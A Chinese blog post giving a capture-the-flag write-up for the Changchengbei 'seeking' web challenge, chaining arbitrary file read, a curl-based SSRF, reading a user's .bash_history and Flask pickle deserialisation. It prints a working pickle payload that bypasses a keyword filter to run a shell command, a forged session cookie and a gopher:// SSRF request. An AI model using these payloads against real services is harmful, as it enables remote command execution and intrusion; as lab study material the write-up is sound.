nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

长城杯[seeking]

前言

一天一道ctf系列断了三天了,星期五星期六星期天放假,草,现在欠了5道题了,今天高低做两道,因为两道题还是得浪费时间,所以果断赛博复现,看懂=会,下面内容大多来自https://blog.csdn.net/weixin_63231007

代码审计

<?php
error_reporting(0);
header("HINT:POST n = range(1,10)");

$image = $_GET['image'];
echo "这里什么也没有,或许吧。";
$allow = range(1, 10);
shuffle($allow);
if (($_POST['n'] == $allow[0])) {
    if(isset($image)){
    $image = base64_decode($image);
        $data = base64_encode(file_get_contents($image));
    echo "your image is".base64_encode($image)."</br>";
    echo "<img src='data:image/png;base64,$data'/>";
    }else{
    $data = base64_encode(file_get_contents("tupian.png"));
        echo "no image get,default img is dHVwaWFuLHBuZw==";
    echo "<img src='data:image/png;base64,$data'/>";
    }
}

看样子应该是不太难,可以任意读取文件
首先我们需要满足的条件是$_POST['n'] == $allow[0], $allow = range(1, 10);随机数,这个爆破吧,因为也才1-10而已,然后根据别人说法
$image这里没有过滤,可以使用file或者filter协议获取文件内容,但是直接获取不到flag 估计是名字不同

根据提示(图片里面有隐藏信息)

分离得到一个7z压缩包,解压得到secret.txt: M0sT_D4nger0us.php

搭配filter伪协议,读取文件内容得到文件代码:
2024-01-29T06:38:53.png
代码

<?php
$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>

ssrf跑不掉了,直接读文件吧,按照原主的办法,因为题目应该有提示
通过文件读取分析 bash记录
同时题目也提到了 小朱的一个ID叫secret的朋友叫他帮忙测试一下他的web服务
bash记录什么玩意,开搜'/home/username/.bash_history',其中 username 是你的用户名。大概这样读,/home/secret/.bashhistory读到了文件

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"

User = type('User', (object,), {
    'uname': 'xxx',
    '__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET','POST'))
def index_handler():
    u = pickle.dumps(User())
    session['u'] = u
    return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"


@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():
    try:
        u = session.get('a')
        if isinstance(u, dict):
            code = b64decode(u.get('b'))
            if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
                print(code)
                return "what do you want???"
            result=pickle.loads(code)
            return result
        else:
            return "almost there"
    except:
        return "error"


if __name__ == '__main__':
    app.run('127.0.0.1', port=5555, debug=False)

都说了是pickle反序列化,以后来学吧,直接放wp
pickle反序列化,给了SECRET_KEY 伪造session 给 对应的b赋值构造好的恶意 pickle序列化数据

存在过滤 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:

o操作码绕过

import base64
import pickle

payload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''
# ls / > /tmp/a 得到flag名称
code = payload
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
    print(code)
#pickle.loads(code)
print(base64.b64encode(payload))
import urllib.parse
a ='''GET /pickle HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
'''

tmp = urllib.parse.quote(a)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/' + '_' + new
print(result)

因为题目源码告诉了

if __name__ == '__main__':
    app.run('127.0.0.1', port=5555, debug=False)

需要利用ssrf传给内网
2024-01-29T06:48:16.png
2024-01-29T06:48:21.png

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 长城杯[seeking]

评论